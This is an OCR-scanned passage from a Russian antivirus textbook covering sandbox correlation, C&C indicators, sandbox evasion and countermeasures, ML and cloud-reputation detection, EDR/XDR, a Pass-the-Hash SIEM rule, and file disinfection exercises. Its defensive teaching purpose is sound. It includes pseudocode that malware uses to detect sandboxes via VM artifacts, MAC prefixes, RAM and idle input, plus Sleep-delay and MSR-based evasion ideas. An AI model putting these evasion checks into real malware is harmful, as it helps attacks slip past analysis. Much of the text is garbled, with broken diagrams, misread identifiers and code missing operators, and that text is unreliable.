Каждое действие по отдельности может иметь легитимное объяснение
(обновление ПО, настройка синхронизации). Но вместе они образуют
безошибочно распознаваемый поведенческий паттерн вредоносной
активности.
Схема корреляционного анализа в песочнице
text
I---------------------------------------------------------------------1
| КОРРЕЛЯЦИОННЫЙ АНАЛИЗ ПОВЕДЕНИЯ В ПЕСОЧНИЦЕ |
I_____________________________________________________________________I
ПОТОК СОБЫТИЙ ОТ ПРОЦЕССА
1
-----------------1
ФАЙЛОВАЯ |
АКТИВНОСТЬ |
• Создание файла
• Запись данных
• Удаление файла
РЕЕСТР
• Создание ключа
Установка
значения
I-----------------1
| СЕТЕВАЯ |
| АКТИВНОСТЬ |
| • DNS-запрос
| • НТТР(ь) запрос |
| • Подключение
| • Переименование |
I • Модификация
ACL
к нестанд
порту
КОРРЕЛЯЦИОННЫЙ ДВИЖОК
Правило 1:
Создание файла в
Temp/AppData И
Запись в Run И
Сетевое соединение
-> ТРОЯН-ДРОППЕР
Правило 2:
Вызов vssadmin delete
shadows И
Импорт крипто-API
-> ШИФРОВАЛЬЩИК
Правило 3:
DNS-запросы к DGA-
доменам И
Beacon-соединения
-> С&С КАНАЛ
I---------------------------1
| РЕПУТАЦИОННЫЕ БАЗЫ |
| • IP/URL (Threat Intel) |
• Домены (возраст,
страна регистрации)
• Хеши файлов
I-----------------------------------------------------------------------------------------------------------------------------------------------------------1
ВЕРДИКТ
Индикаторы С&С в сетевом трафике
Связь с управляющим сервером — критический признак вредоносной
активности. Аналитики выделяют следующие ключевые индикаторы С&С-
коммуникаций:
Веасоп-активность (маяки): периодические соединения с фиксированным
интервалом (например, каждые 60 секунд). Легитимные приложения обычно
не генерируют столь регулярный трафик.
Длинные нестандартные DNS-запросы: туннелирование данных через DNS
порождает подозрительно длинные поддомены с высокой энтропией
(например, dGhpcyBpcyBbIHRlc3Q. evil. com).
DNS-запросы к DGА-доменам: домены, сгенерированные алгоритмом,
выглядят как бессмысленные строки и часто имеют возраст г несколько часов.
HTTPS с самоподлисанными сертификатами или сертификатами,
выпущенными на подставные организации.
Использование API мессенджеров (Telegram, Discord) в качестзе канала
управления — трафик к этим сервисам сам по себе не подозрителен, но его
структура и частота могут отличаться от типичною использования.
Большой объём исходящего трафика в нерабочее время (эксфильтрация
данных).
Почему вредоносное ПО откладывает активацию?
Песочница ограничена временным лимитом, обычно образец запускается на
3-5 минут, после чего среда уничтожается. Злоумышленники это знают и
встраивают в код длительные задержки:
text
// Типичный трюк обхода песочницы
Sleep(fc00000), // Сон на 10 минут (600 000 мс)
// Далее - вредоносная нагрузка
Песочница видит только безобидный запуск и завершение процесса. Через 10
минут на реальной машине пользователя активируется вымогатель или стилер.
Методы противодействия:
«Форсаж времени» (time acceleration): перехват вызовов sleep и уменьшение
времени ожидания в сотни раз.
Мониторинг задержек: если процесс вызывает sleep на необычно долгое
время, это само по себе подозрительный признак.
Многоступенчатый анализ: если образец не проявил активности за первые 5
минут, он автоматически отправляется на длительный анализ (30-60 минут) в
выделенной среде.
93. Методы обхода песочниц и противостояние им
Арсенал обходных техник
Современные вредоносные программы содержат сложные процедуры
детектирования изолированных сред. Вот основные категории таких проверок:
Проверка окружения:
Имя пользователя, если username содержит строки sandbox, malware, virus, test —
это песочница.
Имя компьютера: типовые имена виртуальных машин (win-sandbox, ^aiwarf-
ANALYSIS).
МАС-адрес сетевого адаптера вендорские префиксы VMware
(00:0С:29, 00:50:56), Virtual Box (08:00:27).
Проверка ресурсов:
Объём оперативной памяти: в песочнице часто выделяют 1-2 ГБ, тогда как
современный реальный ПК имеет 8-16 ГЬ,
Количество ядер процессора, в песочнице обычно 1-2, на реальной машине 4-
16.
Размео жесткого диска: типовые ВМ имеют диск 40-60 ГБ, реальные — 256+ ГБ.
Проверка интерактивности:
Отсутствие движения мыши в течение всего времени работы.
Отсутствие недавних действий пользователя (история браузера. Recent Files
пусты).
Временные задержки:
sleep на длительное время.
Выполнение ресурсоёмких вычислений, чтобы растянуть время анализа.
Псевдокод детектора песочницы
Dython
def lsSandbox():
# 1. Проверка имени пользователя
suspicious_names = ["sandbox", "malware", "virus", "test", "admin"]
if any(name in os.getlogin() lower() for name in suspicious_narres):
return True
# 2. Проверка объёма ОЗУ (в Mb)
total_ram get_total_physical_memory() // (1024 * 1024)
if total_ram < 4000:
return True
# 3. Проверка артефактов VMware
vmware_files [
"С:\\Windows\\System32\\drivers\\vmmouse.sys",
С:\\Windows\\System32\\drivers\\vmhgfs.sys"
]
if any(os path exists(f) for f in vmware_files).
return True
# 4. Проверка МАС-адреса на вендорские префиксы
vmware_prefixes = ["00:0C:29 , "00:50:56", '00:05:69”]
vbox_prefixes = [ 68:00:27']
mac get_first_mac_address()
if any(mac.startswith(p) for p in vmware_prefixes + vbox_prefixes):
return True
# 5. Проверка движения мыши (никакого движения за 5 минут)
if get_iast_input_time() > 300:
return True
return False
Схема противостояния: как песочницы маскируются
text
I------------------------------------------------------------------------------1
| ПРОТИВОСТОЯНИЕ ПЕСОЧНИЦ И ОБХОДНЫХ ТЕХНИК
I______________________________________________________________________________I
ТЕХНИКА ОБХОДА
I------------------------1
| Проверка имени
I пользователя
| ("sandbox", "test") |
(________________________,
I-----------------------1
| Проверка артефактов
| VMware/VirtualBox
(vmmouse.sys,
МАС-адрес)
I_______________________I
КОНТРМЕРА ПЕСОЧНИЦЫ
I-----------------------------1
| Реалистичные имена-
| "John.Smith", "Anna.Ivanova"|
I_____________________________I
I---------------------------1
Удаление индикаторов BM: |
• Подмена МАС-адресов
• Удаление VMware Tools
| • Сокрытие файлов -
индикаторов
| Пронерка ОЗУ | ---► | Эмуляция больших ресурсов|
(< 4 ГБ) | • Подмена значений
------------------------J | 1otalPhysicalMemory
• Эмуляция 8t ГБ ОЗУ
I_________________________I
I----------------------1 I--------------------------1
i Проверка движения ---► | Имитация активности
| мыши / интерактивн. | | пользователя:
1----------------------1 | • Движение мыши
• Открытие окон
• Имитация нажатий клавиш
I I
I-----------------------1 1---------------------------1
Временные задержки • Ускорение таймеров
(Sleep 10 минут) | (форсаж времени)
1-----------------------1 I • Мониторинг длительных
задержек как признака
подозрительности
I___________________________J
Гипотетический метод обхода и защита от него
Один из продвинутых аекторов обхода, который пока не получил широкой
огласки, — чтение MSR-регистров процессора (Model-Specific Registers). MSR-
регистры содержат информацию, записанную производителем на заводе,
включая версию микрокода, идентификатор платформы и уникальные
серийные номера. Некоторые MSR-регистры, например ia32_bios_sign_id (MSR
0x8В), в зиртуализированных средах часто не прошиты должным образом и
возвращают нулевые значения.
Вредоносная программа может выполнить инструкцию kdmsr с адресом этого
регистра, и если возвращён нуль — с высокой вероятностью она находится в
виртуальной машине, используемой как песочница.
Защита от этого метода: гипервизор должен полностью эмулировать MSR-
регистры, возвращая значения, идентичные тем, что были бы на реальном
процессоре данной модели. Для этого на этапе развёртывания песочницы с
реального процессора считываются эталонные значения MSR, которые затем
используются для эмуляции. Альтернативно, гипервизор может перехватывать
инструкцию rdmsr и подставлять ожидаемые значения, не давая гостевой ОС
доступа к реальным регистрам.
Глава 10 Интеллектуальные методы и облачные
технологии.
Классические сигнатуры, эвристики и даже песочницы — это оружие прошлого
десятилетия Современный ландшафт угроз требует скорости реакции, которая
измеряется не часами, а секундами, и точности, недоступной человеку-
аналитику. В этой главе мы рассмотрим три столпа современной киберзащиты:
машинное обучение, облачную репутацию и поведенческую аналитику
масштаба предприятия (EDR/XDR). Эти технологии не заменяют, а
надстраиваются над классическими методами, создавая глубоко
эшелонированную, адаптивную и молниеносную систему защиты.
10.1. Применение машинного обучения для
классификации угроз
ML как эвристический фильтр нового поколения
Машинное обучение (ML) в антивирусном контексте — это не волшебная
палочка, а мощный эвристический фильтр, обученный на миллионах образцов.
Если классическая эвристика опирается на жестко заданные экспертом правила
(«если Entry Point в последней секции, то +10 баллов»), то ML-
модель сама выявляет закономерности в данных, которые человек мог бы
никогда не заметить.
Модель обучается на размеченной выборке, содержащей сотни тысяч
легитимных и вредоносных файлов. Из каждого образца
извлекаются признаки (features) — формальные характеристики, которые
можно измерить численно.
Байтовые N-граммы — частоты коротких последовательностей байт (1-
граммы, 2-граммы, 3-граммы). Это позволяет улавливать характерные паттерны
машинного кода без дизассемблирования.
Энтропия секций — мера случайности данных. Высокая энтропия указывает на
шифрование или упаковку.
Граф потока управления (CFG) —топология кода: количество базовых
блоков, рёбер, циклов, глубина вложенности.
Импортируемые функции и их комбинации — например, наличие в
таблице импорта
одновременно VirrualAlloc, WriteProcessMenory И CreateRemateThread.
Строки — IP-адреса, URL, подозрительные команды (vssadmin delete shadows).
На основе этих признаков модель строит векторное представление файла и
вычисляет вероятность его вредоносности. Это позволяет детектировать не
только известные семейства, но и новые, ранее не встречавшиеся угрозы, если
их признаковый профиль близок к известным вредоносным образцам.
Схема: конвейер ML-классификации
text
I-------------------------------------------------------------------------------------1
| КОНВЕЙЕР Ml-КЛАССИФИКАЦИИ ВРЕДОНОСНОГО ПО
I_____________________________________________________________________________________I
ПРИЗНАКОВ
(feature extraction)!
Типы признаков:
• Байтовые N-граммы (1-4)
• Энтропия секций
• Граф потока управления (CFG)
• Импортируемые функции и их комбинации
• Строки (URL, IP, команды)
• Метаданные (размер, компилятор)
| 2. ФОРМИРОВАНИЕ
ВЕКТОРА ПРИЗНАКОВ
(-feature vector)
3.
ML-МОДЕЛЬ
(Random Forest /
Gradient Boosting
/ Neural Network)
-» ВЕРОЯТНОСТЬ
ВРЕДОНОСНОСТИ
| < 0.3
I ЧИСТЫЙ
| 0.3 - 0.7
| ПСДОЗРИТ. |
(в песочницу)!
| > 0.7
| ВРЕДОНОСНЫЙ
Почему ML не заменяет сигнатуры полностью?
Несмотря на впечатляющие результаты, у ML-подхода есть фундаментальные
ограничения, не позволяющие отказаться от сигнатур.
1 Вероятностная природа. ML всегда работает с вероятностью. Ошибка в 0,1%
на миллионах файлов означает тысячи ложных срабатываний. Сигнатура же
детерминирована совпадение есть — вредоносный, нет — чистый.
2 . Вычислительная стоимость. Извлечение признаков и прогон через модель
требуют в десятки раз больше ресурсов, чем поиск подстроки в файле Для
потокового сканирования сигнатуры остаются незаменимым первым рубежом.
3 . Состязательные атаки. Если злоумышленник знает архитектуру модели (или
может её аппроксимировать), он способен модифицировать вредоносный
файл так, чтобы модель классифицировала его как легитимный.
4 Объяснимость. Сигнатура даёт чёткий ответ: «этот фрагмент кода принадлежит
вирусу X». ML-модель может сказать «файл вредоносный с вероятностью 94%»,
но не объяснит, почему. Для аналитика это проблема.
Идеальная архитектура: сигнатуры —для быстрою и точного детектирования
известных угроз; ML — для выявления неизвестных и обфусцировгнных
вариантов Вместе они образуют гибридную систему, где каждый метод
компенсирует слабости другого.
Пять наиболее информативных признаков для ML-модели
1 Байтовые N-граммы — самые мощные статические признаки, улавливающие
тонкие статистические закономерности машинного кода.
2. Энтропия секций — простой, но надёжный маркер упаковки и шифрования.
3. Граф потока управления (CFG) — структурный признак, устойчивый к
обфускации (семантика программы сохраняется).
4. Импортируемые функции — комбинации API-вызовов, характерные для
вредоносного поведения (инжект, шифрование, сетевые соединения).
5. Строки — URL, IP-адреса, команды PowerShell, пути к системным утилитам.
Эксперимент: демонстрация концептуального дрейфа
Концептуальный дрейф — это устаревание модели из-за изменения ландшафта
угроз. Чтобы доказать ею существование, можно провести следующий
эксперимент.
1. Взять ML-модель, обученную на образцах 2020 года (и легитимных, и
вредоносных).
2. Подготовить тестовую выборку из свежих вредоносных образцов 2024 года
(новые семейства вымогателей, стилеров, бестелесные угрозы).
3, Измерить True Positive Rate (TPR) — долю вредоносных образцов, которые
модель верно классифицировала.
4. Сравнить с TPR на тестовой выборке 2020 года.
Ожидаемый результат: модель покажет TPR 95% на выборке 2020 года, но
лишь. 65-70% на выборке 2024 года. Причина — новые семейства используют
неизвестные модели упаковщики, крипторы и поведенческие паттерны,
которые отсутствовали в обучающих данных. Это доказывает необходимость
постоянного переобучения ML-моделей.
10.2. Облачная репутация файлов и URL (KSN, WRS и
аналоги)
Принцип работы
Облачная репутация — это механизм, который превращает глобальную базу
знаний антивирусного вендора в мгновенный коллективный иммунитет. Когда
пользователь в любой точке мира впервые сталкивается с новым вредоносным
файлом, его антивирус отправляет хеш файла в облако. Там файл
анализируется (песочница, ML, ручной анализ), и вердикт сохраняется в
глобальной базе Теперь, если этот же файл попадет к другому пользователю,
его хеш будет мгновенно найден в облаке, и доступ будет заблокирован.
KSN (Kaspersky Security Network), WRS (Web Reputation Services) и
аналогичные сервисы других вендоров работают именно по этому принципу.
Задержка между первым обнаружением и глобальной блокировкой составляет
минуты, а не часы или дни, как при классическом сигнатурном подходе.
Схема: облачная репутация файла
text
I---------------------------------------------------------------------------------------------1
| ОБЛАЧНАЯ РЕПУТАЦИЯ ФАЙЛОВ И URL
I_____________________________________________________________________________________________I
ПОЛЬЗОВАТЕЛЬ А (первая встреча)
I-------------------------1
. Скачал новый файл
| (хеш: 0ХА1В2СЗ...) |
1-----------I-------------1
I
▼
I-------------------------1
| Хеш НЕ найден в
ПОЛЬЗОВАТЛЬ Б (через 5 минут)
Г----------------------1
Скачал тот же файл
| (хеш: 0ХА1В2СЗ...) |
I
▼
I-----------------------------1
| Хеш НАЙДЕН в облаке
| локальной базе
| -» ВРЕДОНОСНЫЙ
I---------------------------1
Отправка хеша
| в облако
1------------1--------------1
I
--------------------------1
БЛОКИРОВКА мгновенно |
(без анализа на
стороне клиента)
__________________________I
ОБЛАКО ВЕНДОРА
[----------------
Автоматический
1 анализ:
• Песочница
| • ML-классифик.
• Сигнатуры
I I
| Ручной анализ
| (для сложных
случаев)
I I
I I
I____________________I
I------------------------1
| Вердикт: ВРЕДОНОСНЫЙ |
| Сохранён в глобальной]
| базе |
I________________________I
Риски отправки хешей в облако
Критики облачных репутационных сервисов указывают на потенциальную
утечку информации, Рассмотрим, что именно передаётся и чем это грозит.
• Хеш (SHA-256) — односторонняя функция, из которой невозможно
восстановить исходный файл Сам по себе хеш безопасен.
• Метаданные— имя файла, путь к нему, размер, цифровая подпись Эти
данные могут раскрыть
о Факт использования определённого ПО (имя файла может содержать название
внутренней корпоративной системы).
о Внутреннюю структуру каталогов (путь 0:\Ргс^есТ5\СекретныйПроект\. . .).
о Факт заражения, если хеш вредоносного файла ушел в облако.
Для государственных, военных и режимных организаций даже такая косвенная
утечка неприемлема Решением служат приватные облака — развёрнутая
внутри периметра копия облачного сервиса, которая синхронизирует базу
репутации, но не отправляет наружу запросы от конкретных рабочих станций.
Почему облачная репутация URL эффективнее чёрных списков?
Фишинговая ссылка живет в среднем 4-6 часов Злоумышленники
регистрируют новый домен, рассылают письма, собирают учётные данные — и
уничтожают инфраструктуру Локальный чёрный список обновляется, скажем,
раз в 4 часа. К моменту обновления фишинговая кампания может уже
завершиться, а список пополнится мёртвым доменом.
Облачная репутация работает иначе: когда первый пользователь переходит по
ссылке, она мгновенно анализируется в облаке (проверка возраста домена,
содержимого страницы, редиректов) Если ссылка признана фишинговой, все
последующие пользователи, кликнувшие по ней, получат блокировку в
реальном времени —даже если их локальный список ешё ничего не знает.
Схема: облачная репутация URL
text
ОБЛАЧНАЯ РЕПУТАЦИЯ URL
12:00 - Фишинговая кампания началась
I----------------------1
Злоумышленник
регистрирует
| evil-site123.xyz
и рассылает письма
I______________________I
12 05 - Первая жертва переходит по ссылке
I-----------------------1
| ОБЛАЧНЫЙ АНАЛИЗ: |
I • Домен зарегистр.
< 24 часов назад
• Контент имитирует
страницу логина
I • Редирект на
подозрительный IP
| » ВЕРДИКТ: ФИШИНГ |
I_______________________I
12:06 - Вторая жертва
I-----------------------1
| ПользоваI ель В
! кликает на ту же
: ссылку
I---------------------1
| URL НАЙДЕН в облаке |
| -» МГНОВЕННАЯ |
| БЛОКИРОВКА
(пользователь В
защищён)
I_______________________I
ВЫВОД: локальный чёрный список обновился бы только в 16.00 -
к этому времени кампания уже завершенал а список пополнился
бесполезным мёртвым доменом.
10.3. Большие данные и поведенческая аналитика на
уровне предприятия (EDR, XDR)
EDR: глаза и уши на конечных точках
EDR (Endpoint Detection and Response) — это система, которая собирает
детальную телеметрию с каждой конечной точки (рабочей станции, сервера) и
анализирует её в режиме реального времени. В отличие от классического
антивируса, который принимает решение «пускать/не пускать» на основе
одного файла, EDR видит полную картину активности на хосте.
Агент EDR перехватывает:
Создание и завершение процессов (с полными командными строками).
Загрузку DLL.
Файловые операции (создание, запись, удаление, переименование).
Изменения реестра.
Сетевые соединения (с указанием процесса-инициатора, IP, порта, объёма
графика).
События безопасности (вход в систему, повышение привилегий, доступ к
объектам).
Собранная телеметрия отпоавляется в централизованное хранилище (Data
Lake), где к ней применяются корреляционные правила, поведенческие модели
и ML-алгоритмы. В отличие от HIPS, который реагирует на отдельные события,
EDR строит kill chain — полную цепочку действий злоумышленника от
первоначального проникновения до финальной цели.
XDR: расширение видимости за пределы конечной точки
XDR (Extended Detection and Response) — это эволюция LDR, которая
добавляет данные из других источников
Сетевые устройства (брандмауэры, IPS/IDS, коммутаторы).
Почтовые шлюзы (логи входящей/исходящей почты).
Облачные сервисы (CASB, логи SaaS-приложений, облачные рабочие
нагрузки)
Системы аутентификации (Active Directory, Azure AD. логи VPN).
XDR. коррелирует события из всех этих источников, создавая сквозную
видимость атаки: от фишингового письма, попавшего на почтовый шлюз, до
запуска вредоносного макроса на рабочей станции, последующего бокового
перемещения по сети и эксфильтрации данных через облачное хранилище.
Схема: архитектура XDR
text
I---------------------------------------------------------------------1
| АРХИТЕКТУРА XDR: СКВОЗНАЯ ВИДИМОСТЬ АТАКИ |
I_____________________________________________________________________I
I-----------------------1
| ЦЕНТРАЛИЗОВАННОЕ |
| ХРАНИЛИЩЕ (Data Lake) |
I I
• Корреляция событий
• Поведенческие модели
• ML-аналитика
• Kill chain визуализ. |
I____________________________I
I-----------1 I-----------1 I------1 I-----------1 I-----------1
। Конечные | | Сетевые | | Почтовые | Облачные | j Системы
| точки | | устр-ва | | шлюзы | | сервисы | I аутент.
| (EDR) | | (NDR) || || (CASB) | | (AD, |
1-----------1 1-----------1 1------1 1-----------1 | Azure AD) |
I___________I
I--------------------------------------------------------------------
| ПРИМЕР СКВОЗНОЙ КОРРЕЛЯЦИИ:
1. Почтовый шлюз: получено фишинговое письмо
2. Конечная точка: пользователо открыл вложение, запущен макрос
3. Конечная точка: PowerShell загрузил дооппер
4. Сетевой поток: соединение с подозрительным IP
5 Active Directory: аномальная активность учетной записи
6. Облачное хранилище: массовая выгрузка файлов
•+ XDR видит всю цепочку и блокирует атаку на любом этапе
I____________________________________________________________________I
Правило корреляции SIEM для атаки Pass-the-Hash
Атака Pass-the-Hash (PtH) позволяет злоумышленнику, завладевшему NTLM-
хешем пароля, аутентифицироваться на других системах без знания самого
пароля. Рассмотрим, как выглядит такая атака в логах и как ее выявить.
Признаки PtH в Windows Event Log:
• Event ID 4663 —доступ к процессу isass.exe (именно оттуда извлекаются
хеши). Если процесс, не являющийся легитимным антивирусом или системной
службой, открывает isass.exe с правами на чтение памяти — это критический
признак.
• Event ID 4624 — успешный вход в систему. Для PtH характерно!:
о Logoniype = з (сетевой вход) или LogonType = 9 (NewCredenrials).
о Authenticationpackage = NTLM.
о ProcessName — не Isass.exe (стандартный Процесс входа), а ЧТО-ТО другое
(например, cmd.exe, wrriexec.exe).
Правило корреляции (псевдокод):
text
ЕСЛИ:
Event ID 4ь63 (доступ к isass.exe;
И ProcessName HE входит в белый список (антивирусы, легитимные службы)
И В ТЕЧЕНИЕ 5 МИНУТ от того же Source IP:
Event ID 4624
И LogonType IN (3, 9)
И Authenticationpackage = "NTLM"
И ProcessName != "lsass.exe"
TO:
Генерировать алерт "Pass-the-Hash атака”
Severity: CRITICAL
Сложности внедрения EDR в устаревшей инфраструктуре
Внедрение EDR в крупной компании с устаревшим парком ОС сопряжено с
рядом проблем:
1 Совместимость: агенты EDR могут не поддерживать Windows 7, Windows Server
2и08 и тем более ХР, которые зсё еще встречаются на производстве и в
медицине.
2 , Производительность: старые машины имеют ограниченные ресурсы (2 4 ГБ
ОЗУ, HDD вместо SSD). Агент FDR, непрерывно перехватывающий системные
вызовы и собирающий телеметрию, может заметно замедлить работу.
3 . Ложные срабатывания: устаревшее легитимное ПО часто использует
нестандартные методы работы (старые версии клиент-серверных приложений,
самописные утилиты), которые поведенческая аналитика может принять за
вредоносную активность.
4 Отсутствие API: старые ОС не предоставляют интерфейсов для глубокого
мониторинга (ETW, механизмы обратных вызовов ядра), которые доступны в
Windows 10/11 и современных серверных версиях.
Компенсирующие меры:
• Усиленный сетевой мониторинг (NTA): анализ трафика между устаревшими
хостами для выявления аномалий сканирования, бокового перемещения
• Строгая сетевая изоляция: устаревшие системы помещаются в отдельные
VLAN'bi с жёстко ограниченным доступом
• Белые списки приложений (AppLocker, WDAC): запрет на запуск любого ПО,
кроме яе но разрешённого.
• Плановый вывод из эксплуатации: устаревшие ОС должны быть заменены
или изолированы в соответствии с политикой управления рисками.
ЧАСТЬ IV. ЛЕЧЕНИЕ И ВОССТАНОВЛЕНИЕ
Глава 11. Стратегия антивирусного «лечения».
Обнаружить вирус — это лишь половина дела. Вторая, зачастую более сложная
задача — безопасно и полноценно избавиться от него, восстановив систему в
рабочее состояние. Эта глава посвящена стратегиям, алгоритмам и
ограничениям антивирусного лечения: когда файл можно «вылечить»
хирургически, когда его проще заменить, а когда единственным выходом
остаётся полное восстановление из резервной копии.
11.1. Что такое лечение: удаление вредоносного кода из
файла или полная его замена
Два принципиальных подхода
В антивирусном контексте «лечение» (disinfection) — это процесс
восстановления заражённого объекта до его исходного, чистого состояния.
Исторически сложились две стратегии, выбор между которыми зависит от
характера заражения, типа вредоносной программы и критичности файла.
1. Хирургическое удаление (дезинфекция).
Из тела файла-носителя извлекается вредоносный код, а оригинальные
структуры — заголовок, точка входа, таблица импорта — восстанавливаются.
После процедуры файл продолжает использоваться, как если бы заражения не
было. Этот подход незаменим, когда файл уникален: специализированное ПО,
не имеющее дистрибутива, или лицензионный ключ, привязанный к
конкретному экземпляру. Однако дезинфекция требует точного знания
алгоритма заражения конкретным вирусом —универсальных решений здесь
нет.
2. Удаление с заменой (карантин и восстановление).
Заражённый файл перемещается в карантин (изолированное хранилище,
откуда он не может быть случайно запущен) или безвозвратно удаляется. На
его место помещается чистая копия из дистрибутива ОС, резервной копии или
облачного репозитория. Это проще, надёжнее и не требует глубокого реверс-
инжиниринга вируса. Для большинства современных угроз — троянов, червей,
дропперов — это единственно верный метод.
Схема: выбор стратегии лечения
text
ВЫБОР СТРАТЕГИИ ЛЕЧЕНИЯ ЗАРАЖЁННОГО ФАЙЛА
___________________________________________________________I
|| Файловый
II вирус,
|| макровирус
|| Троян, червь, ||
|| дроппер, ||
| бестелесный
|| Шифровальщик, ||
вайпер,
|| подмена
Файл является ||
। ценным /
|| системным?
УДАЛЕНИЕ
ФАЙЛА
+ замена
из
дистрибутива
УДАЛЕНИЕ
ФАЙЛА ||
Восстановление ||
данных из
бэкапа
| ДА
| НЕТ
II ДЕЗ -||
Цфск-11
II НИР II
УДАЛИТЬ +
ЗАМЕНИТЬ
(проще и
надёжнее)
Ii=---- il
|| Алгоритм
'I заражения
извес тен?
" I "
1
| HET
I-----
| ДА
Il II
|| УДАЛИТЬ + ||
|| ЗАПЕНИТЬ ||
(алгоритм
неизвестен) ||
II ______ И
Когда лечение возможно, а когда — нет
Лечение возможно для вредоносных программ, которые модифицируют
файл-носитель предсказуемым образом, сохраняя при этом достаточную часть
оригинального кода:
Файловые вирусы (COM EXE старого формата) —дописывают себя в конец
или начало, сохраняя оригинальную точку входа.
Макровирусы — добавляют вредоносные макросы в документ; их можно
удалить, оставив документ функциональным.
Загрузочные вирусы — подменяют MBR/VBR; opni инальный загрузчик
обычно сохраняется в другом секторе.
Лечение невозможно для:
Троянов - - они не заражают существующие файлы, а маскируются под них.
Лечить нечего — только удалять и заменять.
Червей — распространяются копированием, а не заражением. Их файлы
просто удаляются.
Шифровальщиков — удаление исполняемого файла вымогателя не
расшифровывает пострадавшие данные. Ключ уже у злоумышленника.
Вайлеров — данные уничтожены безвозвратно. Восстановление —только из
бэкапа.
Бестелесных (fileless) угроз — нет файла-носителя. Удаляются артефакты в
реестре, памяти, планировщике.
| Задачи к подразделу 11.1 с решениями
1. В каком случае предпочтительнее вылечить файл, а не удалить его?
Приведите пример.
Решение.
Дезинфекция предпочтительнее, если файл уникален и его замена невозможна
или нежелательна, Пример на производственном предприятии заражён
главный исполняемый модуль системы управления станком с ЧПУ. ПО было
разработано 15 лет назад компанией, которой уже не существует,
установочный дистрибутив утерян. Удаление файла остановит производство на
дни или недели. Если алгоритм заражения известен (файловый вирус дописался
в конец), антивирус может аккуратно удалить вирусное тело и восстановить
оригинальную точку входа, сохранив работоспособность оборудования.
2. Опишите алгоритм лечения СОМ-файла, заражённого вирусом,
дописывающимся в конец.
Решение:
СОМ-файл — простейший исполняемый формат MS-DOS: бинарный образ без
заголовков., точка входа всегда в начале. Типичный вирус дописывает себя в
конец, сохраняет первые 3 байта (обычно инструкцию змр на оригинальный
код) и заменяет их на переход на своё тело. Алгоритм лечения:
1 Идентифицировать заражение. Проверить сигнатуру вируса в последних
байтах файла (например, строка 'vir').
2. Найти сохраненные оригинальные байты. В теле вируса, обычно по
фиксированному смещению от конца файла, хранятся оригинальные первые 3
байта программы.
3. Восстановить начало файла. Скопировать сохранённые байты обратно в
самое начало, затерев команду перехода на вирус.
4. Обрезать файл. Установить новый конец файла на начало вирусного кода.
Длина вируса известна (определяется по сигнатуре).
5. Проверить работоспособность. Запустить вылеченный файл в
изолированной среде.
3. Почему лечение шифровальщика путем «удаления кода вымогателя»
бессмысленно?
Решение.
Шифровальщик состоит из двух независимых компонентов, исполняемого
файла вымогателя и зашифрованных данных. Удаление исполняемого файла не
влияет на состояние данных — они остаются в. зашифрованном виде. Ключ
расшифровки, как правило, уже отправлен на С&С-сервер злоумышленникев
или удалён из системы Без ключа расшифровать файлы, зашифрованные
современными алгоритмами (AES-256, RSA-2048), невозможно. Поэтому
«лечение» вымогателя — это либо расширровка данных с помощью
полученного от вендора или правоохранителей ключа, либо восстановление из
резервной копии.
11,2. Алгоритмы обезвреживания: извлечение вируса и
восстановление оригинальной структуры
Дезинфекция PE-файлов: ювелирная работа
Качественная дезинфекция РЕ файла (формат исполняемых файлов Windows)
требует от антивируса глубокого знания конкретного вируса. Универсального
«лечителя» не существует — для каждого семейства файловых вирусов
антивирусная лаборатория разрабато|вает отдельный модуль, который затем
включается в обновления.
Процесс дезинфекции PE-файла включает следующие этапы:
1 Поиск оригинальной точки входа. Вирус, модифицируя РЕ-заголовок,
изменяет поле AddressOfEntryPoint, чтобы управление передавалось на его код.
Оригинальное значение вирус обязан где-то сохранить — в своем теле, в
специальной секции, в неиспользуемом поле заголовка. Дезинфектор должен
найти это значение.
2. Удаление вирусного кода. Если вирус добавил новую секцию — она
удаляется, а счетчик секций в заголовке уменьшается. Если вирус дописался в
конец последней секции — файл обрезается до оригинального размера. Если
вирус разместился в полости (cavity) — область затирается нулями или
оригинальным содержимым (если оно было сохранено).
3. Восстановление PE-заголовка. Исправляются все поля, которые вирус
модифицировал. SizeO^Image, SizeOfCode, BascOfCode, характеристики секций.
4 Пересчёт контрольной суммы. Для драйверов и системных файлов
обязательно пересчитывается ре checksum, иначе ОС откажется их загружать
5. Удаление макровирусов. Из документа удаляются вредоносные макросы, а
глобальный шаблон (Normal.dotm) очищается или заменяется эталонным.
Схема: алгоритм дезинфекции РЕ-файла
text
I 1
| АЛГОРИТМ ДЕЗИНФЕКЦИИ PF-ФАЙЛА |
I_____________________________________________________________________I
I-----------------------1
| 1. ИДЕНТИФИКАЦИЯ |
• Проверить сигнатуру|
вируса
• Определить семейство
I----------------------1
| 2. ПОИСК ОРИГИНАЛЬНОЙ|
| ТОЧКИ ВХОДА |
• В теле вируса
| • В доп. секции
• В неисп. поле
Ограничения дезинфекции
Если вирус поврежден или проявил себя не полностью, восстановление может
быть частичным, В таких случаях файл признается неизлечимым и подлежит
замене из бэкапа или дистрибутива.
Особая ситуация — цифровая подпись (Authenticode). Если системный файл
был подписан, а вирус модифицировал его, тс даже после идеальной
дезинфекции подпись станет невалидной. ОС, проверяющая целостность
подписанных файлов (Windows Defender, Driver Signature Enforcement),
откажется его загружать. Поэтому подписанные файлы практически никогда не
лечат — их заменяют оригинальными копиями.
| Задачи к подразделу 11.2 с решениями
1. Напишите псевдокод дезинфектора для гипотетического вируса,
который сохраняет оригинальные первые 16 байт файла в своём теле.
Решение.
Вирус дописывает себя в конец ЕХЕ-файла, сохраняя первые 16 байт
оригинального PE-заголовка по смещению [конец_файяа - 16]. Алгоритм
дезинфекции:
text
Процедура ЛечитьФайл(ПутьКФайлу)
Открыть_файл(ПутьКФайлу, ЧТЕНИЕ_ЗАПИСЬ)
// Шаг 1: проверить маркер заражения
Если Не НайденМаркерЗаражения() тогда
Закрыть_файл()
Выход
Конец Если
// Шаг 2: найти начало вирусного кода
СмецениеНачэлаВируса = НайтиНачалоВирусногоКсда()
// Шаг 3: прочитать сохранённые оригинальные байты
Персйти_в_позицию(РазмерФайла - 16)
ОригинальныеБайты = ПрочитатьБайты(16)
// Шаг 4: восстановить начало файла
Перейт и_в_позицию(0)
ЗаписатьБайты(СригинальныеБайты)
// Шаг 5: обрезать файл до начала вируса
УстановитьКонецФайла(СмещениеНачалаВируса)
// Шаг 6: восстановите оригинальный EntryPoint (.если нужно)
ВосстановитьЕпТгуРо1пТ()
Закрыть_Файл()
Конец Процедуры
2. Почему восстановление PE-заголовка из бэкапа, сделанного вирусом,
может не сработать, если вирус его повредил?
Решение:
Вирус может сохранить не все модифицированные поля или сохранить их с
